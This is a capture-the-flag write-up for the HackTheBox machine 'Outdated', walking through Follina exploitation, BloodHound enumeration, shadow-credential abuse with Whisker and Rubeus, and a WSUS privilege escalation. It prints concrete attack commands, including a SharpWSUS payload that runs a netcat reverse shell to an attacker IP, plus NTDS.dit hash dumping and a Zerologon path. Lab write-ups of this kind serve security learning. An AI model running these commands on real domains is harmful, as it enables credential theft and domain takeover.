12 KiB
HackTheBox - Outdated
NMAP
Nmap scan report for 10.10.11.175
Host is up (0.42s latency).
Not shown: 65519 filtered ports
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: mail.outdated.htb, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-14 02:03:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
| Issuer: commonName=outdated-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-18T05:50:24
| Not valid after: 2024-06-18T06:00:24
| MD5: ddf3 d13d 3a6a 3fa0 1dee 8321 6784 83dc
|_SHA-1: 7544 3aee ffbc 2ea7 bf61 1380 0a6c 16f1 cd07 afce
|_ssl-date: 2022-08-14T02:06:34+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: outdated.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC.outdated.htb, DNS:outdated.htb, DNS:OUTDATED
| Issuer: commonName=outdated-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site does not have a title.
8531/tcp open unknown
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
54116/tcp open msrpc Microsoft Windows RPC
54125/tcp open msrpc Microsoft Windows RPC
PORT 139/445 (SMB)
Checking for null authentication on smb we can list shares
Checking the Shares directory , it has a pdf which we can transfer it on your machine with get
The pdf talks about a breach on serevers and mentions about emailing the web application links to itsupport@outdated.htb through smtp and talks about patching the recent vulnerabilities
Now we can test for these CVEs but here only two CVEs are of high score which means they are critical than the others which are CVE-2022-30190 dubbed as Follina and CVE-2022-29130 which is rce through LDAP
Foothold
PORT 25 (SMTP)
On connecting with smpt with telnet,we send an email to itsupport@outdated.htb with a link on which we'll get a hit
Testing for CVE-2022-30190 (Follina)
I tried testing to Follina from john hammond's repository
https://github.com/JohnHammond/msdt-follina
Before running this we need to make a change with the invoke-request which is downloading nc64.exe from github, so we need to host it from our machine
Now run the script with hosting the payload on port 80
And send the url through email
After gettting a shell, I tried listing usernames with net user also checking the groups in which btables is in but that user doesn't exist
But checking it with `/domain` it does
Which shows that this user is in ITStaff group
So probably we are in some container as the IP is different as well
On running linpeas we can see wsus is vulnerable
We can also see that there are some kerberos tickets which are in the proces
I tried using sharpwsus but couldn't proceed further as it wasn't able to inspect the wsus server
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
So going back to AD enumeartion, I used sharphound to dump the data and transffered it through nc
Uploading the data on bloodhound
From the built in quries it didn't showed a path to escalate for btables
Privilege Escalation (sflowers)
I wasted a lot of time here until I updated both bloodhound and neo4j to the latest version
https://linuxhint.com/install-neo4j-ubuntu/
Following this I added the repository for the neo4j 4.4 as the latest version of bloodhound needs that specific version also latest build of sharphound is also required
sudo curl -fsSL https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
sudo add-apt-repository "deb https://debian.neo4j.com stable 4.4"
When updating neo4j make sure to set this value to true
Running the updated version of sharphound
https://github.com/BloodHoundAD/SharpHound
Now after uploading the json files, we'll see a path to escalate from btables users
We can see the abuse info for AddKeyCredentialLink in which we can shadow credentials for sflowers user
>
This article explains the abuse of shadow credentials with Whisker
https://github.com/eladshamir/Whisker
For building the exe I used Visual Studio
We can run this command for generating a certificate for key credential, which on runnning will show us the command for rubeus for getting NTLM hash for slfowers through PKINIT which is a pre-authentication through certificate
.\Whisker.exe add /target:sflowers /domain:outdated.htb /dc:dc.outdated.htb
And with this command we can get the NTLM hash for sflowers
Rubeus.exe asktgt /user:sflowers /certificate:"<generated certificate>/password:"<generatedd certificate password" /domain:outdated.htb /dc:dc.outdated.htb /getcredentials /show
Using pass the hash through evil-winrm we can login
Looking at the groups we are in WSUS Administrators group
We can try runnning sharpwsus again
Now what wsus (Windows Service Update) exactly is, it's a solution for deploying windows updates for systems in a domain where the hosts don't have to reach out to internet to get the updates instead they can get updates internally
To abuse this we can create a malcious update with using PsExec as it uses the signed exe from microsoft, and psexec is from sysinternals it won't be flagged so we can execute anyhing using that
cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\sflowers\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c \" net localgroup administrators sflowers /add\"" /title:"Updauwte"'
Here the reason why I used cmd to run execute the sharpwsus is command is that it doesn't run properly with powershell and needs to escapte quotes
Approving the update
SharpWSUS.exe approve /updateid:d47b1ac0-b4f7-43ca-b21f-dfbcf0499697 /computername:dc.outdated.htb /groupname:"pleauswse"
And then check the status if the update has been installed
Having the update installed which will add sflowers into the local administrator group, we can verify it by checking in which groups slfowers belongs to now
Being in administrator's group on domain controller we can dump the SAM and NTDS.dit hashes
Grabbing administrator's hash from NTDS.dit to perform pass the hash
We can also use any of the exec scripts from impacket
Instead of adding the user in administrators group we could have gotten a reverse shell through netcat as well
cmd.exe /c 'SharpWSUS.exe create /payload:"C:\Users\sflowers\PsExec64.exe" /args:"-accepteula -s -d cmd.exe
/c \" C:\Users\sflowers\nc64.exe 10.10.14.52 2222 -e cmd.exe\"" /title:"Updauwte"'
Un-intedned
Testing for CVE-2020-1472 (Zerologon)
Now this CVE is old, but it's pretty common in AD as the machine was patched with recent CVEs but it this machine maybe vulnerable to zerologon
Which we can test if the machine is vulnerable with a testing script for the CVE
https://github.com/SecuraBV/CVE-2020-1472
The script needs netbios name which is the machine account name, we can get it with enum4-linux
Now that we know it's vulnerable we can exploit it with -x
We can dump the NTDS.dit with the computer account which is DC with a blank password
And can perform pass the hash to get a shell as Administrator
References
- https://github.com/JohnHammond/msdt-follina
- https://github.com/rth0pper/zerologon
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- https://linuxhint.com/install-neo4j-ubuntu/
- https://github.com/BloodHoundAD/SharpHound
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials
- https://github.com/eladshamir/Whisker
- https://securityonline.info/sharpwsus-csharp-tool-for-lateral-movement-through-wsus/
- https://labs.nettitude.com/blog/introducing-sharpwsus/